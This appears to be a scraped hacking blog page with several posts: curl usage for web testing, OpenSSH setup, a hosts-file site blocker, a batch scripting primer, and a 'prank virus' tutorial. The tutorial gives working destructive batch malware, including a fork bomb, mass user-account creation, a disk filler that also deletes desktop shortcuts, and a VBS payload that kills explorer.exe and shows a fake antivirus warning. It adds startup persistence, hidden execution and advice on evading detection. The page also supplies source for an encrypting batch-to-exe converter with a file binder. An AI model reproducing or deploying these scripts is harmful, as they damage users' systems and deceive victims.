Showing posts with label batch_Scripting. Show all posts
Showing posts with label batch_Scripting. Show all posts

Curl for Web Hacking and Pentesting

In the previous post we saw the basic uses of curl. Now at this we are going to see some useful and important command as web pentesting view.

1. Get the HTTP response header

We can get header information of a website with '-I' flag
 curl -I http://www.w3.org
2. Sending GET Requests
 curl "http://www.testserver.com/example.php?name=hacke&age=30"
3. Sending POST requests 
 curl -d "name=ajay&submit=Submit" http://www.testserver.com/example.php
4. To follow a redirect location:
 curl -L http://www.testserver.com
5. Sending custom Headers : 
 curl -H "user-agent:Mozilla/5.0 (X11; Linux x86_64) " http://www.testserver.com
 curl -H "Content-Type: text/xml" http://www.testserver.com
 curl -H "Host: www.unknownsite.com" http://www.testserver.com
6. Custom User-Agent Header :

We can send custom user agent header by '-A' flag
 curl -A "Mozilla/5.0 (X11; Linux x86_64)" http://www.testserver.com
 curl -A "Mozilla/5.0 (compatible;  Windows NT 5.0)" http://www.testserver.com
7. Custom Referrer field :
 curl -e http://referersite.com http://www.testserver.com
Or we can also send custom referrer with below command
 curl -H "Referrer: http://referersite.com"  http://www.testserver.com
8. Custom Cookies : 

To send custom cookies use '-b' flag
 curl -b "name=sectree" http://www.testserver.com
To store response cookies in a file use '-c' option. We can also send cookies which is stored in a file.
 curl -b current_cookies.txt -c new_cookies.txt http://www.testserver.com
where the current_cookies.txt are being sent to the web server and new_cookies.txt are response cookies by the server which is stored and written in that file.


Read more »

How to use Curl in Linux : Curl Guide For beginners

Curl is a command line tool for getting or sending files using URL syntax. It is used to transfer data from or to a server, using one of the supported protocols (DICT, FILE, FTP, FTPS, GOPHER, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMBS, SMTP, SMTPS, TELNET and TFTP). The command is designed to work without user interaction. We can use curl for download files from internet, sending custom HTTP ( GET and POST ) request, as FPT client, sending e-mails etc. Curl can be used in many different and interesting ways. Some of the main features of curl is :
Read more »

How to install OpenSSH Server on Ubuntu Linux 16.04

First update repository and upgrade system

    sudo apt-get update
    sudo apt-get upgrade

now install open-ssh server

    sudo apt-get install openssh-server

then check the status of ssh service by

    sudo service ssh status

Read more »

Creating Funny Prank Viruses with Batch File Scripting


With Batch scripts we can creates some cool and funny virus scripts. In this post i am gonna explain you some batch virus scripts. But remember don't run these scripts directly in your PC otherwise it will crash your PC, i test all these scripts in Virtual Box. In order to properly understand these codes or create your own virus scripts you need to know some basics of Batch scripting and windows commands. For the Basics of Batch scripting see my previous post Windows Batch Scripting Guide For Beginners or just Google about it.

Note : This article is Only written for educational purpose and i just want to show you some Batch scripting hacks. If you harm yours or others system then i am not responsible for it.

So Now Lets see some Batch virus codes :

Folder_Bomber

 

::folder Bomber
@echo off
:loop
md "%userprofile%/Desktop/%random%"
goto loop


The above script will randomly creates thousands of folders on Desktop. To create a Batch script just open the notepad and paste that above given code on it then go to the file menu and click on "Save as" option, change the "Save as type" to "All files" and type "virus.bat" to filename box where ".bat" is extension of Batch file then click on save button.




To run this virus just click on it.

Program_Bomber

::Program Bomber
@echo off
:loop
start cmd.exe
start notepad.exe
start calc.exe
start explorer.exe
start write
start mspaint
goto loop 


This code will runs command prompt, notepad, Calculator, MSword, MSpaint etc. in infinite loop.

PC_Crasher

 

 @echo off
:Loop
start %0
goto Loop


The above code will crash the PC.

Account_Creator

 

@echo off
:Loop
net user %random% %random% /add
goto Loop


The above code will creates new user accounts with random names and passwords. Note the "net user" command will need administrator privilege, thus to run the above code on windows 7 & 8 you need to admin privilege.

Site_Opener

 

@echo off
:Loop
start www.google.com
start www.yahoo.com
start www.bing.com
start www.microsoft.com
start www.softpedia.com
start www.youtube.com
start www.facebook.com
start www.twitter.com
start www.whatsapp.com
start www.amazon.com
start www.ebay.com
start www.apple.com
start www.intel.com
start www.amd.com
goto Loop


This code will open all these site in infinite loop.

Drive_Pumper 

 

@echo off
setlocal ENABLEEXTENSIONS
cd %appdata%
set name=%random%
echo "This is just a sample line appended  to create a big file. " > %name%.dll
for /L %%i in (1,1,24) do type %name%.dll >> %name%.dll
attrib +r +h %name%.dll
del "%userprofile%\Desktop\*.lnk"


The above code will create a 1 GB garbage file on AppData folder and then delete all the Desktop icons.

Running Batch script in hidden Mode

When we run these batch scripts, its shows a console window. To solve these problem we need to run batch script with the help of a VBscript. Here is the code for VBscript


set RunBatch = createObject("WScript.Shell")
RunBatch.Run "Path of Batch Script", vbHide, TRUE

The file extension of VBscript is ".vbs". For running a Batch script named "test.bat", codes will be


set RunBatch = createObject("WScript.Shell")
RunBatch.Run "C:\Users\Ajay\Desktop\test.bat", vbHide, TRUE


 to run batch file, just click on the Vbscript file


where hidden.vbs is vbscript.

Running Virus at every Startup

Now if you want to automatically run these virus files at every startup then copy the Batch file into this Location

in Windows 7 & 8 : "%appdata%\Microsoft\Windows\Start Menu\Programs\Startup"

in Windows Xp     : "%userprofile%\Start Menu\Programs\Startup"

or add this extra code into the beginning of the batch virus file

@echo off & setlocal ENABLEEXTENSIONS
for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)
if %op%==7 (goto _7_8_installer)
if %op%==2002 (goto _Xp_installer)
if %op%==8 (goto _7_8_installer)
goto virus_codes

:_7_8_installer
set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"
goto install_virus

:_Xp_installer
set RC="%userprofile%\Start Menu\Programs\Startup"
goto install_virus

:install_virus
copy %0 %RC%

:virus_codes
:: Now your virus codes starts here


The above code will first examine the victim's OS, then automatically copy itself into startup folder. After apply this above code on Folder_Bomber's codes looks like



@echo off & setlocal ENABLEEXTENSIONS
for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)
if %op%==7 (goto _7_8_installer)
if %op%==2002 (goto _Xp_installer)
if %op%==8 (goto _7_8_installer)
goto virus_codes

:_7_8_installer
set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"
goto install_virus

:_Xp_installer
set RC="%userprofile%\Start Menu\Programs\Startup"
goto install_virus

:install_virus
copy %0 %RC%

:virus_codes
:: Now your virus codes starts here
::folder Bomber
@echo off
:loop
md "%userprofile%/Desktop/%random%"
goto loop




VBscript Virus

 

Now here is a Batch code which creates a VBscript in startup folder. This VBscript virus will automatically start after every reboot and terminate the Desktop, shows the fake error message then start Desktop[explorer.exe] again & again 50 times with some time duration. Here is codes

 @echo off & setlocal ENABLEEXTENSIONS  
 for /f "tokens=4" %%a in ('net config work^|findstr/b Soft') do (set op=%%a)  
 if %op%==7 (goto _7_8_installer)  
 if %op%==2002 (goto _Xp_installer)  
 if %op%==8 (goto _7_8_installer)  
 goto end  
 :_7_8_installer  
 set RC="%appdata%\MicroSoft\Windows\Start Menu\Programs\Startup"  
 goto Create_virus  
 :_Xp_installer  
 set RC="%userprofile%\Start Menu\Programs\Startup"  
 goto Create_virus  
 :Create_virus  
 echo Dim i > %RC%\virus.vbs  
 echo i = 0 >> %RC%\virus.vbs  
 echo Do >> %RC%\virus.vbs  
 echo  wscript.sleep 100000 >> %RC%\virus.vbs  
 echo  Set Myshell = wscript.CreateObject("WScript.Shell") >> %RC%\virus.vbs  
 echo  Myshell.run "taskkill /F /IM explorer.exe" >> %RC%\virus.vbs  
 echo  wscript.sleep 1000 >> %RC%\virus.vbs  
 echo  btv = msgbox("It seems Your Anti-Virus Program does not work Properly, So Please update it or remove it now.", 6, "Microsoft!!") >> %RC%\virus.vbs  
 echo  wscript.sleep 10000 >> %RC%\virus.vbs  
 echo  Myshell.run "explorer.exe" >> %RC%\virus.vbs  
 echo  i = i + 1 >> %RC%\virus.vbs  
 echo Loop until i = 50 >> %RC%\virus.vbs  
 goto end  
 :end  
 exit  

 

Converting Batch file into Executable Application

 

It is easier to detect Batch virus because anyone can saw the codes of Batch scripts. So to prevents this we also convert a Batch script into executable application using third party softweres.

Bat_To_Exe_Converter

 

first browse the batch file and then click on compile button, this program also consists some additional options like Custom Icon, run in background, delete after execution etc.

You can also try this Bat2Exe_Converter program written by me in vb.net. It consists some additional functionality like File Binding options etc.


For more details and Download see my previous post : Batch 2 Exe Converter written in  VB.net
It would worked fine in Windows 7 & 8 (both 32/64 bit), but due to dotnetframework dependency it might not work on windows Xp.

Batch virus Generator Programs 

You can also creates Batch virus using Virus creation Tools. Some of the best batch Virus creation tools are listed below

 DELmE's Batch Virus Maker

 


 In Shadow Batch Virus Generator



                                                 Click_Here_To_Download


Note : your antivirus program will treat these virus generation programs as a virus so use this program at your own risk.

That's it!!, I hope you like this article, Thanks for visiting. !!!!

   

 

Read more »

BATCH To EXE Converter Softwere written in VB.net with Source code

This little program will convert a Batch Script file into an Executable file.




This Program's features are :


  • File Binder 
  • Icon Changer 
  • CodeDom Compiler 
  • Run Script in Background 
  • Base64 Encoding

Download Bat2Exe Converter From here 

For Windows 7 [ Compiled with dotnetframework 2.0]
For Windows 8 [ Compiled with dotnetframework 4.0 ]

Project Files   :
This program does not work on windows xp

How To Use Video : 




Source Code are here :

Form Code



1:  '  Bat2exe converter   
2:  '
3:  '  http://sec-articles.blogspot.com  
4:  '  
5:  '  Credits : MrvbDude for file binder   
6:  '  
7:    
8:  Imports System  
9:  Imports System.Text  
10:  Imports System.IO  
11:  Imports System.Threading  
12:  Imports System.CodeDom.Compiler  
13:  Imports Microsoft.CSharp  
14:  Imports System.Collections.Generic  
15:    
16:  Public Class Form1  
17:      
18:    Dim batchpath As String = Nothing  
19:    Dim iconpath As String = Nothing  
20:    Dim bindfilepath As String = Nothing  
21:    Dim bindfilename As String = Nothing  
22:    Dim outputfile As String = Nothing  
23:    Dim src As String = My.Resources.stub  
24:    
25:    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load  
26:      TextBox2.Enabled = False  
27:      TextBox3.Enabled = False  
28:    
29:    End Sub  
30:      
31:        
32:    Private Sub Compile(ByVal Exename As String, ByVal SourceCode As String, ByVal Icon As String)  
33:      Dim compiler As CodeDomProvider = CodeDomProvider.CreateProvider("VisualBasic")  
34:      Dim param As New CompilerParameters  
35:      Dim results As CompilerResults = Nothing  
36:      param.GenerateExecutable = True  
37:      param.OutputAssembly = Exename  
38:      param.ReferencedAssemblies.Add("System.dll")  
39:      param.ReferencedAssemblies.Add("Microsoft.VisualBasic.dll")  
40:      param.CompilerOptions = " /target:winexe"  
41:      param.TreatWarningsAsErrors = False  
42:      If (Icon = Nothing) Then  
43:        'do nothing  
44:      Else  
45:        File.Copy(Icon, "icon.ico")  
46:        param.CompilerOptions += " /win32icon:" & "icon.ico"  
47:      End If  
48:    
49:      results = compiler.CompileAssemblyFromSource(param, SourceCode)  
50:    
51:      If (results.Errors.Count <> 0) Then  
52:        MsgBox("Some Error Occured During Code Compiletion, Try Again!!", MsgBoxStyle.Critical)  
53:        For Each E As CompilerError In results.Errors  
54:          MessageBox.Show(E.ErrorText)  
55:        Next  
56:      End If  
57:    
58:      If (Icon = Nothing) Then  
59:        'do nothing  
60:      Else  
61:        File.Delete("icon.ico")  
62:      End If  
63:    
64:    End Sub  
65:    
66:    Function secure(ByVal data As Byte()) As Byte()  
67:      Using SA As New System.Security.Cryptography.RijndaelManaged  
68:        SA.IV = New Byte() {1, 9, 2, 8, 3, 7, 4, 5, 6, 0, 1, 4, 3, 0, 0, 7}  
69:        SA.Key = New Byte() {7, 0, 0, 3, 4, 1, 0, 6, 5, 4, 7, 3, 8, 2, 9, 1}  
70:        Return SA.CreateEncryptor.TransformFinalBlock(data, 0, data.Length)  
71:      End Using  
72:    End Function  
73:    
74:    Sub Replace(ByRef main As String, ByVal old As String, ByVal [new] As String)  
75:      main = main.Replace(old, [new])  
76:    End Sub  
77:    
78:    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button4.Click  
79:      Dim src As String = Nothing  
80:      Dim Compressor As Boolean = False  
81:    
82:      ' Configuring iconpath for second use  
83:      If CheckBox1.Checked = False Then  
84:        iconpath = Nothing  
85:      End If  
86:    
87:      If TextBox1.Text = "Click Here to Browse the Batch File" Then  
88:        MsgBox("Select A Batch File First .!!", MsgBoxStyle.Critical, "Error ..!!")  
89:        Exit Sub  
90:      End If  
91:    
92:      If CheckBox1.Checked = True Then  
93:        If TextBox2.Text = "Click Here to Browse Icon" Then  
94:          MsgBox("Select An Icon File First .!!", MsgBoxStyle.Critical, "Error ..!!")  
95:          Exit Sub  
96:        Else  
97:          'do nothing  
98:        End If  
99:      End If  
100:    
101:      If CheckBox2.Checked = True Then  
102:        If TextBox3.Text = "Click Here to Browse File" Then  
103:          MsgBox("Please Select A File To Bind First .!!", MsgBoxStyle.Critical, "Error ..!!")  
104:          Exit Sub  
105:        Else  
106:          ' do nothing  
107:        End If  
108:      End If  
109:    
110:      Using s As New SaveFileDialog()  
111:        s.Title = "Save File ...!!"  
112:        s.Filter = "Executable |*.exe"  
113:        If (s.ShowDialog = Windows.Forms.DialogResult.OK) Then  
114:          outputfile = s.FileName  
115:    
116:          src = My.Resources.stub  
117:    
118:          If CheckBox3.Checked = True Then  
119:            Replace(src, "Dim hiddenmode As Boolean = False", "Dim hiddenmode As Boolean = True")  
120:          End If  
121:    
122:          If CheckBox2.Checked = True Then  
123:            Replace(src, "'[BDPROC]", Nothing)  
124:          End If  
125:    
126:    
127:          Label1.Text = "Creating Stub"  
128:            
129:          Try  
130:            ' !!!  Make call to compile stub File !!!  
131:            Label1.Text = "Compiling Stub"  
132:            Compile(outputfile, src, iconpath)  
133:    
134:            ' Writing Files into stub   
135:            Dim sp As String = "[SPLITTING_POINT]"  
136:            Dim batchf As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(batchpath))  
137:            Label1.Text = "Reading Batch File"  
138:            If CheckBox2.Checked = True Then  
139:              Label1.Text = "Reading Binded File"  
140:              Dim bindf As Byte() = secure(My.Computer.FileSystem.ReadAllBytes(bindfilepath))  
141:              Label1.Text = "Writing Files To Stub"  
142:              System.IO.File.AppendAllText(outputfile, sp & Convert.ToBase64String(batchf) & sp & bindfilename & sp & Convert.ToBase64String(bindf))  
143:            Else  
144:              Label1.Text = "Writing File To Stub"  
145:              System.IO.File.AppendAllText(outputfile, sp & Convert.ToBase64String(batchf))  
146:            End If  
147:          Catch ex As Exception  
148:            Label1.Text = "Error !!"  
149:            MsgBox("Some !Error Occured During Compilation ...?", MsgBoxStyle.Critical, "Error..!!")  
150:            Exit Sub  
151:          End Try  
152:          Label1.Text = "[#] Done..!!"  
153:          MsgBox("SuccessFully Created", MsgBoxStyle.Information, "Success !")  
154:    
155:        End If  
156:      End Using  
157:    End Sub  
158:    
159:    Private Sub TextBox1_Click(sender As Object, e As EventArgs) Handles TextBox1.Click  
160:      Label1.Text = "Status ..."  
161:      Using O As New OpenFileDialog()  
162:        O.Title = "Select Batch File.."  
163:        O.Filter = "Batch File|*.bat"  
164:        If O.ShowDialog = Windows.Forms.DialogResult.OK Then  
165:          batchpath = O.FileName  
166:          TextBox1.Text = O.FileName  
167:        End If  
168:      End Using  
169:    End Sub  
170:    
171:    Private Sub CheckBox1_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBox1.CheckedChanged  
172:      If CheckBox1.Checked = True Then  
173:        TextBox2.Enabled = True  
174:      Else  
175:        TextBox2.Enabled = False  
176:      End If  
177:    End Sub  
178:    
179:    Private Sub CheckBox2_CheckedChanged(sender As Object, e As EventArgs) Handles CheckBox2.CheckedChanged  
180:      If CheckBox2.Checked = True Then  
181:        TextBox3.Enabled = True  
182:      Else  
183:        TextBox3.Enabled = False  
184:      End If  
185:    End Sub  
186:    
187:    Private Function components() As Object  
188:      Throw New NotImplementedException  
189:    End Function  
190:      
191:    Private Sub TextBox2_Click(sender As Object, e As EventArgs) Handles TextBox2.Click  
192:      Using O As New OpenFileDialog()  
193:        O.Title = "Select Icon File.."  
194:        O.Filter = "Icon File|*.ico"  
195:        If O.ShowDialog = Windows.Forms.DialogResult.OK Then  
196:          iconpath = O.FileName  
197:          TextBox2.Text = O.SafeFileName  
198:        End If  
199:      End Using  
200:    End Sub  
201:    
202:    Private Sub TextBox3_Click(sender As Object, e As EventArgs) Handles TextBox3.Click  
203:      Using O As New OpenFileDialog()  
204:        O.Title = "Select File To Bind.."  
205:        O.Filter = "All Files|*.*"  
206:        If O.ShowDialog = Windows.Forms.DialogResult.OK Then  
207:          bindfilepath = O.FileName  
208:          bindfilename = O.SafeFileName  
209:          TextBox3.Text = O.SafeFileName  
210:        End If  
211:      End Using  
212:    End Sub  
213:    
214:  End Class  
215:    



Stub Code


1:  '  Bat2exe converter Stub Code  
2:  ' 
3:  '  http://sec-articles.blogspot.com  
4:    
5:  Imports System  
6:  Imports System.IO  
7:  Imports System.AppDomain  
8:  Imports System.Diagnostics  
9:  Imports Microsoft.VisualBasic  
10:    
11:  Module Module1  
12:    
13:    Private Declare Auto Function GetConsoleWindow Lib "kernel32.dll" () As IntPtr  
14:    Private Declare Auto Function ShowWindow Lib "user32.dll" (ByVal hWnd As IntPtr, ByVal nCmdShow As Integer) As Boolean  
15:    
16:    Private Const SW_HIDE As Integer = 0  
17:    Private Const SW_SHOW As Integer = 5  
18:    
19:    Sub Main()  
20:      Dim hiddenmode As Boolean = False  
21:      Dim hWndConsole As Integer  
22:      hWndConsole = GetConsoleWindow()  
23:      ShowWindow(hWndConsole, SW_HIDE)  
24:        
25:      Try  
26:        Dim exepath As String = AppDomain.CurrentDomain.BaseDirectory + Process.GetCurrentProcess.ProcessName + ".exe"  
27:        Dim tempdir As String = My.Computer.FileSystem.SpecialDirectories.Temp  
28:        'For exe path  
29:        Dim SP() As String = Split(System.IO.File.ReadAllText(exepath), "[SPLITTING_POINT]")  
30:        Dim batchf As Byte() = unsecure(Convert.FromBase64String(SP(1)))  
31:        '[BDPROC]Dim bindedf As Byte() = unsecure(Convert.FromBase64String(SP(3)))  
32:        My.Computer.FileSystem.WriteAllBytes(tempdir & "\cmd.bat", batchf, False)  
33:        '[BDPROC]My.Computer.FileSystem.WriteAllBytes(tempdir & "\" & SP(2), bindedf, False)  
34:        If hiddenmode = True Then  
35:          Dim vbwriter As New IO.StreamWriter(tempdir + "\" + "start.vbs")  
36:          vbwriter.WriteLine("set objShell = CreateObject(""WScript.Shell"")")  
37:          vbwriter.WriteLine("objShell.Run """ + tempdir + "\cmd.bat"", vbHide, TRUE")  
38:          vbwriter.Close()  
39:    
40:          ' run program  
41:          Dim ps As ProcessStartInfo  
42:          Dim psname As String = (tempdir & "\" & "start.vbs")  
43:          ps = New ProcessStartInfo(psname)  
44:          Dim proc As New Process()  
45:          proc.StartInfo = ps  
46:          proc.StartInfo.WindowStyle = ProcessWindowStyle.Hidden  
47:          proc.Start()  
48:          proc.WaitForExit()  
49:          File.Delete(psname)  
50:          File.Delete(tempdir & "\" & "cmd.bat")  
51:        Else  
52:          Dim ps As ProcessStartInfo  
53:          Dim psname As String = (tempdir & "\" & "cmd.bat")  
54:          ps = New ProcessStartInfo(psname)  
55:          Dim proc As New Process()  
56:          proc.StartInfo = ps  
57:          proc.StartInfo.WindowStyle = ProcessWindowStyle.Normal  
58:          proc.Start()  
59:          proc.WaitForExit()  
60:          File.Delete(psname)  
61:        End If  
62:        '[BDPROC]Process.Start(tempdir & "\" & SP(2))  
63:      Catch ex As Exception  
64:        Process.GetCurrentProcess.Kill()  
65:      End Try  
66:      Process.GetCurrentProcess.Kill()  
67:    
68:    End Sub  
69:    
70:    Function unsecure(ByVal data As Byte()) As Byte()  
71:      Using SA As New System.Security.Cryptography.RijndaelManaged  
72:        SA.IV = New Byte() {1, 9, 2, 8, 3, 7, 4, 5, 6, 0, 1, 4, 3, 0, 0, 7}  
73:        SA.Key = New Byte() {7, 0, 0, 3, 4, 1, 0, 6, 5, 4, 7, 3, 8, 2, 9, 1}  
74:        Return SA.CreateDecryptor.TransformFinalBlock(data, 0, data.Length)  
75:      End Using  
76:    End Function  
77:    
78:  End Module  
79:    
80:    


Download Codes :

Bat2exe (Form Source Code) :

Bat2exe (Stub Source Code)  :

                                      
Read more »

Block Websites in Windows XP, 7, 8 with Batch Script

This is a simple Batch Script which blocks Websites URL By editing 'Hosts' file. It also consists some functionality like saw previous blocked URLs, restore original hosts file or create new one etc.



1:  :: Site Blocker Script  
2:
3:  :: http://sec-articles.blogspot.com  
4:  :Start  
5:  @echo off & setlocal ENABLEEXTENSIONS  
6:  title Site Blocker  
7:  color a  
8:  mode con cols=80 lines=25  
9:  echo.  
10:  echo ===============================================================================  
11:  echo                     # Site Blocker #  
12:  echo.  
13:  echo ===============================================================================  
14:  echo.  
15:  echo Options :  
16:  echo.  
17:  echo 1) Block A Site  
18:  echo 2) Unblock All Blocked Sites  
19:  echo 3) Show Previous Blocked Sites  
20:  echo 4) About  
21:  echo 5) Exit   
22:  echo.  
23:  set /p ch="Enter Your Choice : "  
24:  if %ch%==1 goto Block  
25:  if %ch%==2 goto Restore  
26:  if %ch%==3 goto Show  
27:  if %ch%==4 goto About  
28:  if %ch%==5 goto End  
29:  echo.   
30:  echo Please Enter Correct Choice   
31:  pause > nul  
32:  goto Start  
33:  :Block  
34:  echo.  
35:  set /p url="Enter The URL : "  
36:  if exist "%systemroot%" (   
37:  if not exist "%systemroot%\System32\drivers\etc\hosts.bak" ( copy "%systemroot%\System32\drivers\etc\hosts" "%systemroot%\System32\drivers\etc\hosts.bak" )  
38:  echo 127.0.0.1  %url% >> "%systemroot%\System32\drivers\etc\hosts"  
39:  echo.   
40:  echo Url Blocked SuccessFully.!!  
41:  pause > nul  
42:  goto Start   
43:  ) else (  
44:  echo.  
45:  echo.  
46:  echo Error ?? Does not found Windows Directory.!!   
47:  pause > nul  
48:  goto Start )  
49:  :show  
50:  echo.  
51:  if not exist "%systemroot%\System32\drivers\etc\hosts" (   
52:  echo Error ?? Does Not found the Host File !!   
53:  pause > nul  
54:  goto Start )   
55:  @echo off & setlocal ENABLEEXTENSIONS  
56:  for /f "tokens=2" %%a in ('findstr /B 127.0.0.1 %systemroot%\System32\drivers\etc\hosts') do ( echo %%a & set d=%%a)   
57:  if exist %d%==nul ( echo You have not blocked any site..!! )   
58:  pause > nul  
59:  goto Start   
60:  :Restore  
61:  if exist "%systemroot%\System32\drivers\etc\hosts.bak" (   
62:  del "%systemroot%\System32\drivers\etc\hosts"  
63:  copy "%systemroot%\System32\drivers\etc\hosts.bak" "%systemroot%\System32\drivers\etc\hosts"   
64:  echo.  
65:  echo hosts File is SuccessFully Restored.!!!  
66:  pause > nul  
67:  goto Start )  
68:  echo.  
69:  echo Original host backup File are not Found.!!  
70:  echo Press Any key to Create new host File ...  
71:  pause > nul  
72:  echo # Copyright (c) 1993-2009 Microsoft Corp. > "%systemroot%\System32\drivers\etc\hosts"  
73:  echo # >> "%systemroot%\System32\drivers\etc\hosts"  
74:  echo # This is a sample HOSTS file used by Microsoft TCP/IP for Windows. >> "%systemroot%\System32\drivers\etc\hosts"  
75:  echo # >> "%systemroot%\System32\drivers\etc\hosts"  
76:  echo # This file contains the mappings of IP addresses to host names. Each >> "%systemroot%\System32\drivers\etc\hosts"  
77:  echo # entry should be kept on an individual line. The IP address should >> "%systemroot%\System32\drivers\etc\hosts"  
78:  echo # be placed in the first column followed by the corresponding host name. >> "%systemroot%\System32\drivers\etc\hosts"  
79:  echo # The IP address and the host name should be separated by at least one >> "%systemroot%\System32\drivers\etc\hosts"  
80:  echo # space. >> "%systemroot%\System32\drivers\etc\hosts"  
81:  echo # >> "%systemroot%\System32\drivers\etc\hosts"  
82:  echo # Additionally, comments (such as these) may be inserted on individual >> "%systemroot%\System32\drivers\etc\hosts"  
83:  echo # lines or following the machine name denoted by a '#' symbol. >> "%systemroot%\System32\drivers\etc\hosts"  
84:  echo # >> "%systemroot%\System32\drivers\etc\hosts"  
85:  echo # For example: >> "%systemroot%\System32\drivers\etc\hosts"  
86:  echo # >> "%systemroot%\System32\drivers\etc\hosts"  
87:  echo #   102.54.94.97   rhino.acme.com     # source server >> "%systemroot%\System32\drivers\etc\hosts"  
88:  echo #    38.25.63.10   x.acme.com       # x client host >> "%systemroot%\System32\drivers\etc\hosts"  
89:  echo #   >> "%systemroot%\System32\drivers\etc\hosts"  
90:  echo # localhost name resolution is handled within DNS itself. >> "%systemroot%\System32\drivers\etc\hosts"  
91:  echo #     127.0.0.1    localhost >> "%systemroot%\System32\drivers\etc\hosts"  
92:  echo.  
93:  echo hosts File is SuccessFully Created..!!  
94:  pause > nul  
95:  goto Start   
96:  :About  
97:  echo.  
98:  echo This is a Simple Batch Script which edit the host file   
99:  echo located in "C:\Windows\System32\drivers\etc" directory.  
100:  echo Use this Script at your own risk, i am not responsible for  
101:  echo any kind of damage on your system.  
102:  echo Tested on Win XP, 7, 8  
103:  echo in windows 7, 8 run it with Admin privilege  
104:  echo.  
105:  pause  
106:  goto Start  
107:  :End  
108:  exit /b  



Download script from here :

How  To Video Tutorial :

 



Read more »

Windows Batch Scripting Guide For Beginners


Batch scripts are nothing but the sequence of commands which are executes one by one using command interpreter [cmd.exe]. The command line interpreter or cmd.exe is available in almost all versions of windows OS and located at c:\windows\system32\cmd.exe.

First of all you need to know the commands which are interpreted by cmd.exe, but before let's see how command are executes with command interpreter.The cmd.exe executes command in two modes :

1. Interactive Mode :  

In Interactive Mode we type commands in "command prompt". To start the command prompt just go to start Menu and type cmd on search box then hit enter. In this box type "echo hello world" and hit enter, after that command prompt will be return "hello world". "echo" command prints all the arguments.

 2. Non Interactive Mode or Batch Mode :

In Non Interactive Mode or Batch Mode we put all commands in a file and save it as "cmd.bat", where cmd is file name and ".bat" is the file extension of Batch files or Batch scripts. We simply creates Batch file using notepad, first open notepad and type these  

 @echo off  
 title My first Batch Script  
 echo ..........................  
 echo Hello Guys This is A batch Script  
 echo ..........................  
 pause    
 exit /b  


Now to go file Menu and click on save as option, then change save as type to all files and change the file name to cmd.bat then click to save button. Remember you could give any name to batch file but file extension is always .bat. To executes batch file just click on it.


The commands which are used in above script are :

@echo off :    command 'echo off' will be turn off the prompt. Prompt means the execution path of batch file. In my case the path is "C:\User\Ajay\Desktop\", your differ. After putting @ at the start of a command will prevents shown the execution of command in that line. (To test what @echo off command does just create another batch script similar to above and change @echo off to @echo on then see what happen.)

Title :    Title command is used to set the title of console window.

Pause :    Pause command is pause the command execution and wait for the user input, when user gives any input then next command will be executed.

Exit :    Exit command close the command processor or cmd.exe.

Some Batch Commands :

md :    [Make Directory] used to create a new directory.

Syntax :    md dir_name

cd :    [Change Directory] used to change directory.

Syntax :    cd dir_name

copy :    used to coping files

Syntax :    copy source_file_name destination_file_name

move :    used to moving files

Syntax :    move source_file_name destination_file_name

ren :    used to rename files

Syntax :    ren old_file_name new_file_name

del :    used del files 

Syntax :    del file_name

dir :    used to listing in current directory

Syntax :    dir

rem :    used to write comments or description inside batch scripts.

Syntax :    rem this is comment

we also write comments using '::' sign

Syntax :    :: This is comment

Now there is a simple script which demonstrate the above commands


These are some besic commands used in batch scripting. For more batch commands check these links :
 @echo off  
 title Script test  
 md my_dir  
 rem create a directory my_dir  
 dir > dir_list.txt  
 rem list all files in current directory with dir command and save the output in dir_list.txt  
 copy dir_list.txt .\my_dir\  
 rem copy dir_list.txt in my_dir '.' sign before my_dir specify the current working directory.  
 del dir_list.txt  
 rem delete dir_list.txt  
 cd my_dir  
 rem change directory to my_dir  
 ren dir_list.txt renamed_list.txt  
 rem rename dir_list.txt to renamed_list.txt  
 pause  
 exit /b  


windows commands List :        http://ss64.com/nt/
windows command reference : http://www.microsoft.com/en-in/download/details.aspx?id=2632

Variables:

To declare a variable use set command

Syntax :    set name="Ajay Kumar"

and to get the variable's data use %variable_name% 

Syntax :    echo %name%

To know more about set command just type 'set /?' in command prompt or look at the windows command reference help file. Now here is an example program of set command.

 @echo off  
 title TEXT File Creater  
 echo.   
 echo.  
 set /p data="Enter the File Content = "  
 echo.  
 echo.  
 set /p name="Enter file Name = "  
 echo %data% > %name%.txt  
 echo.  
 echo File created Successfully. !! Press Any key To Exit.  
 pause > nul  
 exit /b  

Control Structure:

Loop in Batch Scripts :

1. Goto Loop


 @echo off  
 :loop  
 msg * Hello world!!  
 Pause  
 goto loop  



2. For Loop :    Syntax of For loop is  'for %%{variable} in (set) do (command)'

 @echo off  
 FOR %%i IN (Windows, Linux, Mac_OS) DO (echo %%i)  
 Pause  
 exit /b  

For loop on numeric mode

Syntax :    'for /L %%{variable} in (starting point, step, end point) do (command)

 @echo off  
 FOR /L %%i IN (1, 1, 20) DO (echo Hello world!!!)  
 Pause  
 exit /b  

the above script prints 'Hello world!!!' 20 times, In For loop (1, 1, 20), where first '1' is starting point and second '1' is step means first '1' is increased by 1 at every loop and 20 is end point, when first 1's value is 20 then for loop is end. We also write this loop as : 'for /L %%i in (20, -1, -1) do (echo hello world)'

Conditional Statement in Batch Script:

1. if-else :

 @echo off  
 :Again  
 set /p num="Enter A Number{0 to continue}: "  
 if %num%==0 (goto Again) else (  
 echo.  
 echo You have entered %num%)  
 pause > nul  
 exit /b  

2. if not-else :

 @echo off  
 echo.  
 set password=12345  
 :pass  
 set /p user_input="Enter The Password : "  
 if not %password% == %user_input% (  
 echo Wrong Password ?  
 echo.  
 goto pass ) else (  
 echo.  
 echo Congratulations..!! You have SuccessFully Log in  
 pause > nul  
 exit /b)  

3. if exist :

 @echo off  
 echo.  
 if exist "C:\Windows\SysWOW64" (echo Your Operating System is 64 bit) else (  
 echo Your Operating System is 32 bit)  
 echo.  
 Pause  
 exit /b  

Arguments:

We also use arguments in batch scripts, to access arguments use %1, %2 .... where %1 denotes first argument and %2 denotes second. Here is an example script which shows how to use Arguments :

 @echo off  
 set /a ans=%1+%2+%3  
 echo.  
 echo The Sum of %1, %2, %3 is %ans%.  
 pause > nul  
 exit /b  

